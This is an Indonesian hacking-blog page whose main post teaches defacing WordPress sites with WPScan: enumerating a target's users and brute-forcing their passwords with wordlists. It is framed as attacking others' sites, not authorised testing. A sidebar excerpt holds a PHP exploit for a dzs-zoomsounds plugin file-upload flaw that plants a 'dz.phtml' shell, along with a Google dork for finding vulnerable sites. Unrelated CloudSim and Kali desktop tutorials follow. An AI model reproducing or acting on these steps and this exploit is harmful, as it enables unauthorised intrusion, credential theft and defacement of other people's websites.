Skip to main content

DEFACE WORDPRESS DENGAN WPSCAN

By
Kali ini pada hari kemerdekaan RI kami Team Malaikat Tersakiti akan membahas tentang Deface sudah lama saya tidak update masalah deface karena ke sibukan saya di dunia nyata jadi kali ini saya akan membahas cara deface dengan teknok WPSscan teknik ini sudah lama ada sekitar tahun2015 tapi teknik ini masik sering di gunakan hacker untuk mendeface situs jenis wordpress jadi langsung aja ke TKP.

Fitur Utama WPSCAN:
  • Username enumeration (from the author)
  • Multi-threaded, weak password cracking
  • Version enumeration (from the generator meta tag)
  • Vulnerability enumeration, which is based on the installed version
  • Plugin enumeration using the To-Do plugin
  • It also includes a variety of other security checks
1.Buka WPSCAN dan masukan target
 Buka WPSCAN dan masukan target dengan memasukan syntax pada terminal seperti ini :
" wpscan –-url wordpress_url"
Catatan : 
  • syntax wordpress_url silahkan di ganti dengan web target.
  • Mungkin saat anda baru menggunakan WPSCAN pertama kali anda akan mendapat sebuah update.
 
2.Lihat apakah ada sebuah tanda palang berwarna merah (+) atau tanda seru berwarna merah [!], jika ada berarti web target memiliki celah atau vulnerbilities.
 
3.Jika web target telah di pastikan memiliki celah silahkan masukan perintah ini.
" wpscan –-url wordpress_url –-enumerate u "
 Jalankan perintahnya, dan lihat WPSCAN menemukan 2 user di webtarget.
 
3.Saatnya crack password.
 Dalam crack password anda harus menyediakan sebuah wordlist, di kali linux wordlist biasanya terletak di /usr/share/wordlists, silahkan anda gunakan wordlist sendiri atau menggunakan bawaan kali linux. Untuk Crack passwor silahkan masukan perintah ini :
"  wpscan –-url [wordpress_url] –-word list [path_to_world list] –-username [username to bruteforce] –threads [number of threads]  "
beberapa plugin wordpress mungkin akan mempersulit proses brutoforce bahkan gagal.
jika kalian mengalami hal tersebut, silahkan berpikir kembali metode apa yang sedang sebenarnya sedang kita pakai.
4.Hasil
Jika anda beruntung anda akan mendapatkan hasilnya
Selesai, seperti itu lah bagaimana caranya mendeface wordpress menggunakan WPSCAN.
Labels:

Comments

Post a Comment

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How to Install CloudSim in Ubuntu (in 3 easy steps)

By
The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...
Post a Comment
Read more

How To Add or Remove System Icons From The Kali Linux Desktop

By
When Kali Linux is started, there are always one or more system icons on the desktop. “Computer” is usually a default icon. However, some people might like to remove this icon and/or add other icons like the famous “Trash” icon. All the other tutorials will tell you to use the Linux, “gconfig-editor,” but Kali Linux does not have this system editor! I believe I am the only one who knows of a way to do this, so let me share my knowledge in this simple tutorial. Step one: Start and login to Kali Linux using your account or the “root” account. Step two: Open the main menu. Hover your mouse on “System Tools,” and click on “dconf Editor.” After a few seconds, the dconf Editor will open. Now all you have to do is browse to the correct category and set the options. Step three: When the dconf Editor window opens, click on the plus sign next to “org” (located in the left pane). Step four: Now click the plus sign next to “gnome.” Step five: Scroll down the list in the left pan...
Post a Comment
Read more